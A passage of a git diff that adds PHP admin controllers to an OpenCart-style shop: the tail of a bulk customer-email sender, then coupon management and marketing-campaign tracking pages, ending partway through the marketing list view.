+ if (isset($this->request->post['product'])) {
+ $email_total = $this->model_sale_order->getTotalEmailsByProductsOrdered($this->request->post['product']);
+
+ $results = $this->model_sale_order->getEmailsByProductsOrdered($this->request->post['product'], ($page - 1) * 10, 10);
+
+ foreach ($results as $result) {
+ $emails[] = $result['email'];
+ }
+ }
+ break;
+ }
+
+ if ($emails) {
+ $json['success'] = $this->language->get('text_success');
+
+ $start = ($page - 1) * 10;
+ $end = $start + 10;
+
+ if($page == 1 && $email_total < 10) {
+ $json['success'] = sprintf($this->language->get('text_sent'), $email_total, $email_total);
+ } else if($page == 1 && $email_total > 10) {
+ $json['success'] = sprintf($this->language->get('text_sent'), 10, $email_total);
+ } else if($page > 1 && $email_total < ($page * 10)) {
+ $json['success'] = sprintf($this->language->get('text_sent'), $email_total, $email_total);
+ } else {
+ $json['success'] = sprintf($this->language->get('text_sent'), ($start * $page), $email_total);
+ }
+
+ if ($end < $email_total) {
+ $json['next'] = str_replace('&', '&', $this->url->link('marketing/contact/send', 'user_token=' . $this->session->data['user_token'] . '&page=' . ($page + 1), true));
+ } else {
+ $json['next'] = '';
+ }
+
+ $message = '' . "\n";
+ $message .= ' ' . "\n";
+ $message .= ' ' . $this->request->post['subject'] . '' . "\n";
+ $message .= ' ' . "\n";
+ $message .= ' ' . "\n";
+ $message .= ' ' . html_entity_decode($this->request->post['message'], ENT_QUOTES, 'UTF-8') . '' . "\n";
+ $message .= '' . "\n";
+
+ foreach ($emails as $email) {
+ if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($email);
+ $mail->setFrom($store_email);
+ $mail->setSender(html_entity_decode($store_name, ENT_QUOTES, 'UTF-8'));
+ $mail->setSubject(html_entity_decode($this->request->post['subject'], ENT_QUOTES, 'UTF-8'));
+ $mail->setHtml($message);
+ $mail->send();
+ }
+ }
+ } else {
+ $json['error']['email'] = $this->language->get('error_email');
+ }
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/marketing/coupon.php b/public/admin/controller/marketing/coupon.php
new file mode 100644
index 0000000..85d3e6c
--- /dev/null
+++ b/public/admin/controller/marketing/coupon.php
@@ -0,0 +1,556 @@
+load->language('marketing/coupon');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('marketing/coupon');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('marketing/coupon');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('marketing/coupon');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_marketing_coupon->addCoupon($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('marketing/coupon');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('marketing/coupon');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_marketing_coupon->editCoupon($this->request->get['coupon_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('marketing/coupon');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('marketing/coupon');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $coupon_id) {
+ $this->model_marketing_coupon->deleteCoupon($coupon_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('marketing/coupon/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('marketing/coupon/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['coupons'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $coupon_total = $this->model_marketing_coupon->getTotalCoupons();
+
+ $results = $this->model_marketing_coupon->getCoupons($filter_data);
+
+ foreach ($results as $result) {
+ $data['coupons'][] = array(
+ 'coupon_id' => $result['coupon_id'],
+ 'name' => $result['name'],
+ 'code' => $result['code'],
+ 'discount' => $result['discount'],
+ 'date_start' => date($this->language->get('date_format_short'), strtotime($result['date_start'])),
+ 'date_end' => date($this->language->get('date_format_short'), strtotime($result['date_end'])),
+ 'status' => ($result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled')),
+ 'edit' => $this->url->link('marketing/coupon/edit', 'user_token=' . $this->session->data['user_token'] . '&coupon_id=' . $result['coupon_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+ $data['sort_code'] = $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . '&sort=code' . $url, true);
+ $data['sort_discount'] = $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . '&sort=discount' . $url, true);
+ $data['sort_date_start'] = $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . '&sort=date_start' . $url, true);
+ $data['sort_date_end'] = $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . '&sort=date_end' . $url, true);
+ $data['sort_status'] = $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . '&sort=status' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $coupon_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($coupon_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($coupon_total - $this->config->get('config_limit_admin'))) ? $coupon_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $coupon_total, ceil($coupon_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('marketing/coupon_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['coupon_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['coupon_id'])) {
+ $data['coupon_id'] = (int)$this->request->get['coupon_id'];
+ } else {
+ $data['coupon_id'] = 0;
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['code'])) {
+ $data['error_code'] = $this->error['code'];
+ } else {
+ $data['error_code'] = '';
+ }
+
+ if (isset($this->error['date_start'])) {
+ $data['error_date_start'] = $this->error['date_start'];
+ } else {
+ $data['error_date_start'] = '';
+ }
+
+ if (isset($this->error['date_end'])) {
+ $data['error_date_end'] = $this->error['date_end'];
+ } else {
+ $data['error_date_end'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['coupon_id'])) {
+ $data['action'] = $this->url->link('marketing/coupon/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('marketing/coupon/edit', 'user_token=' . $this->session->data['user_token'] . '&coupon_id=' . $this->request->get['coupon_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['coupon_id']) && (!$this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $coupon_info = $this->model_marketing_coupon->getCoupon($this->request->get['coupon_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($coupon_info)) {
+ $data['name'] = $coupon_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['code'])) {
+ $data['code'] = $this->request->post['code'];
+ } elseif (!empty($coupon_info)) {
+ $data['code'] = $coupon_info['code'];
+ } else {
+ $data['code'] = '';
+ }
+
+ if (isset($this->request->post['type'])) {
+ $data['type'] = $this->request->post['type'];
+ } elseif (!empty($coupon_info)) {
+ $data['type'] = $coupon_info['type'];
+ } else {
+ $data['type'] = '';
+ }
+
+ if (isset($this->request->post['discount'])) {
+ $data['discount'] = $this->request->post['discount'];
+ } elseif (!empty($coupon_info)) {
+ $data['discount'] = $coupon_info['discount'];
+ } else {
+ $data['discount'] = '';
+ }
+
+ if (isset($this->request->post['logged'])) {
+ $data['logged'] = $this->request->post['logged'];
+ } elseif (!empty($coupon_info)) {
+ $data['logged'] = $coupon_info['logged'];
+ } else {
+ $data['logged'] = '';
+ }
+
+ if (isset($this->request->post['shipping'])) {
+ $data['shipping'] = $this->request->post['shipping'];
+ } elseif (!empty($coupon_info)) {
+ $data['shipping'] = $coupon_info['shipping'];
+ } else {
+ $data['shipping'] = '';
+ }
+
+ if (isset($this->request->post['total'])) {
+ $data['total'] = $this->request->post['total'];
+ } elseif (!empty($coupon_info)) {
+ $data['total'] = $coupon_info['total'];
+ } else {
+ $data['total'] = '';
+ }
+
+ if (isset($this->request->post['coupon_product'])) {
+ $products = $this->request->post['coupon_product'];
+ } elseif (isset($this->request->get['coupon_id'])) {
+ $products = $this->model_marketing_coupon->getCouponProducts($this->request->get['coupon_id']);
+ } else {
+ $products = array();
+ }
+
+ $this->load->model('catalog/product');
+
+ $data['coupon_product'] = array();
+
+ foreach ($products as $product_id) {
+ $product_info = $this->model_catalog_product->getProduct($product_id);
+
+ if ($product_info) {
+ $data['coupon_product'][] = array(
+ 'product_id' => $product_info['product_id'],
+ 'name' => $product_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['coupon_category'])) {
+ $categories = $this->request->post['coupon_category'];
+ } elseif (isset($this->request->get['coupon_id'])) {
+ $categories = $this->model_marketing_coupon->getCouponCategories($this->request->get['coupon_id']);
+ } else {
+ $categories = array();
+ }
+
+ $this->load->model('catalog/category');
+
+ $data['coupon_category'] = array();
+
+ foreach ($categories as $category_id) {
+ $category_info = $this->model_catalog_category->getCategory($category_id);
+
+ if ($category_info) {
+ $data['coupon_category'][] = array(
+ 'category_id' => $category_info['category_id'],
+ 'name' => ($category_info['path'] ? $category_info['path'] . ' > ' : '') . $category_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['date_start'])) {
+ $data['date_start'] = $this->request->post['date_start'];
+ } elseif (!empty($coupon_info)) {
+ $data['date_start'] = ($coupon_info['date_start'] != '0000-00-00' ? $coupon_info['date_start'] : '');
+ } else {
+ $data['date_start'] = date('Y-m-d', time());
+ }
+
+ if (isset($this->request->post['date_end'])) {
+ $data['date_end'] = $this->request->post['date_end'];
+ } elseif (!empty($coupon_info)) {
+ $data['date_end'] = ($coupon_info['date_end'] != '0000-00-00' ? $coupon_info['date_end'] : '');
+ } else {
+ $data['date_end'] = date('Y-m-d', strtotime('+1 month'));
+ }
+
+ if (isset($this->request->post['uses_total'])) {
+ $data['uses_total'] = $this->request->post['uses_total'];
+ } elseif (!empty($coupon_info)) {
+ $data['uses_total'] = $coupon_info['uses_total'];
+ } else {
+ $data['uses_total'] = 1;
+ }
+
+ if (isset($this->request->post['uses_customer'])) {
+ $data['uses_customer'] = $this->request->post['uses_customer'];
+ } elseif (!empty($coupon_info)) {
+ $data['uses_customer'] = $coupon_info['uses_customer'];
+ } else {
+ $data['uses_customer'] = 1;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($coupon_info)) {
+ $data['status'] = $coupon_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('marketing/coupon_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'marketing/coupon')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 128)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if ((utf8_strlen($this->request->post['code']) < 3) || (utf8_strlen($this->request->post['code']) > 20)) {
+ $this->error['code'] = $this->language->get('error_code');
+ }
+
+ $coupon_info = $this->model_marketing_coupon->getCouponByCode($this->request->post['code']);
+
+ if ($coupon_info) {
+ if (!isset($this->request->get['coupon_id'])) {
+ $this->error['warning'] = $this->language->get('error_exists');
+ } elseif ($coupon_info['coupon_id'] != $this->request->get['coupon_id']) {
+ $this->error['warning'] = $this->language->get('error_exists');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'marketing/coupon')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function history() {
+ $this->load->language('marketing/coupon');
+
+ $this->load->model('marketing/coupon');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $data['histories'] = array();
+
+ $results = $this->model_marketing_coupon->getCouponHistories($this->request->get['coupon_id'], ($page - 1) * 10, 10);
+
+ foreach ($results as $result) {
+ $data['histories'][] = array(
+ 'order_id' => $result['order_id'],
+ 'customer' => $result['customer'],
+ 'amount' => $result['amount'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added']))
+ );
+ }
+
+ $history_total = $this->model_marketing_coupon->getTotalCouponHistories($this->request->get['coupon_id']);
+
+ $pagination = new Pagination();
+ $pagination->total = $history_total;
+ $pagination->page = $page;
+ $pagination->limit = 10;
+ $pagination->url = $this->url->link('marketing/coupon/history', 'user_token=' . $this->session->data['user_token'] . '&coupon_id=' . $this->request->get['coupon_id'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($history_total) ? (($page - 1) * 10) + 1 : 0, ((($page - 1) * 10) > ($history_total - 10)) ? $history_total : ((($page - 1) * 10) + 10), $history_total, ceil($history_total / 10));
+
+ $this->response->setOutput($this->load->view('marketing/coupon_history', $data));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/marketing/marketing.php b/public/admin/controller/marketing/marketing.php
new file mode 100644
index 0000000..05d0ea6
--- /dev/null
+++ b/public/admin/controller/marketing/marketing.php
@@ -0,0 +1,496 @@
+load->language('marketing/marketing');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('marketing/marketing');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('marketing/marketing');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('marketing/marketing');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_marketing_marketing->addMarketing($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_code'])) {
+ $url .= '&filter_code=' . $this->request->get['filter_code'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('marketing/marketing');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('marketing/marketing');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_marketing_marketing->editMarketing($this->request->get['marketing_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_code'])) {
+ $url .= '&filter_code=' . $this->request->get['filter_code'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('marketing/marketing');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('marketing/marketing');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $marketing_id) {
+ $this->model_marketing_marketing->deleteMarketing($marketing_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_code'])) {
+ $url .= '&filter_code=' . $this->request->get['filter_code'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ if (isset($this->request->get['filter_code'])) {
+ $filter_code = $this->request->get['filter_code'];
+ } else {
+ $filter_code = '';
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $filter_date_added = $this->request->get['filter_date_added'];
+ } else {
+ $filter_date_added = '';
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'm.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_code'])) {
+ $url .= '&filter_code=' . $this->request->get['filter_code'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('marketing/marketing/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('marketing/marketing/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['marketings'] = array();
+
+ $filter_data = array(
+ 'filter_name' => $filter_name,
+ 'filter_code' => $filter_code,
+ 'filter_date_added' => $filter_date_added,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $marketing_total = $this->model_marketing_marketing->getTotalMarketings($filter_data);
+
+ $results = $this->model_marketing_marketing->getMarketings($filter_data);
+
+ foreach ($results as $result) {
+ $data['marketings'][] = array(
+ 'marketing_id' => $result['marketing_id'],
+ 'name' => $result['name'],
+ 'code' => $result['code'],
+ 'clicks' => $result['clicks'],
+ 'orders' => $result['orders'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'edit' => $this->url->link('marketing/marketing/edit', 'user_token=' . $this->session->data['user_token'] . '&marketing_id=' . $result['marketing_id'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_code'])) {
+ $url .= '&filter_code=' . $this->request->get['filter_code'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'] . '&sort=m.name' . $url, true);
+ $data['sort_code'] = $this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'] . '&sort=m.code' . $url, true);
+ $data['sort_date_added'] = $this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'] . '&sort=m.date_added' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_code'])) {
+ $url .= '&filter_code=' . $this->request->get['filter_code'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $marketing_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($marketing_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($marketing_total - $this->config->get('config_limit_admin'))) ? $marketing_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $marketing_total, ceil($marketing_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_name'] = $filter_name;
+ $data['filter_code'] = $filter_code;
+ $data['filter_date_added'] = $filter_date_added;
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
